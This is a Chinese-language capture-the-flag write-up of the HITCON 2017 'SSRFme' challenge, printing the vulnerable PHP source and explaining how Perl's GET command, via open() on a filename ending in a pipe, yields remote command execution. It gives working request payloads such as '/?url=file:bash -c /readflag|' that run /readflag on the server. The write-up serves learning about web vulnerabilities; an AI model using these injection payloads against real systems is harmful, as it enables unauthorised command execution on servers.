[HITCON 2017]SSRFme

[HITCON 2017]SSRFme

打开环境就是代码审计

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

$_SERVER， Server and execution environment information — 服务器和执行环境信息

REMOTE_ADDR：正在浏览当前页面用户的 IP 地址。

X-Forwarded-For：是一个 HTTP 扩展头部

shell_exec(): 通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。

escapeshellarg ： 把字符串转码为可以在 shell 命令里使用的参数。

pathinfo() 返回一个关联数组包含有 path 的信息。

包括以下的数组元素：

[dirname] //路径名

[basename] //文件名

[extension] //扩展名

chdir()： 把当前的目录改变为指定的目录。

file_put_contents(): 把一个字符串写入文件中。

第一段代码会打印出当前用户IP，然后会创建一个文件夹，路径为sandbox/MD5(orange+ip)

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

通过url参数输入的内容会以GET命令执行，命令执行的结果会被存入我们以filename参数的值命名的文件里

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);

这里的GET不是我么平常的GET方法传参，这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

首先我们到kali里面去测试一下这个GET有什么作用

这里GET一个根目录，功能类似于ls把它给列出来,也可以读取文件

那么这段代码的意思就是，把shell_exec中GET过来的结果保存到escapeshellarg中用get（此处get为get请求）接收的参数中，并且这个参数是可以在shell命令里使用的参数。

然后用pathinfo函数分割get过来的filename，最后替换点，截取前面目录，最终用file_put_contents函数把之前$data给写进这个目录里面。

首先尝试访问根目录，get:/?url=/&filename=aaa

接着访问aaa文件夹，路径:/sandbox/MD5(orange+ip)/aaa即/sandbox/a9950c04f34c1fc1447fffe46c5a0e5d/aaa

根目录下有flag和readflag文件，但是打不开，我们要利用readflag去读取flag，这里涉及到Perl中open命令执行（GET）内容了。

因为GET的底层是使用open函数的，如下

file.pm84: opendir(D, $path) or132:    open(F, $path) or returnnew

而这个open函数会导致我们的RCE，最终造成GET的RCE

perl函数看到要打开的文件名中如果以管道符（键盘上那个竖杠|）结尾，就会中断原有打开文件操作，并且把这个文件名当作一个命令来执行，并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令，你会看到perl程序运行的结果。

所以我们需要先创建一个与我们需要执行命令相同的文件，然后使用管道截获该流程，使之为命令的执行，这里要创建一模一样的文件。

/?url=file:bash -c /readflag|&filename=bash -c /readflag|

修改存储的文件，并读取flag输入到存储的文件中去。直接rce。

/?url=file:bash -c /readflag|&filename=aaaa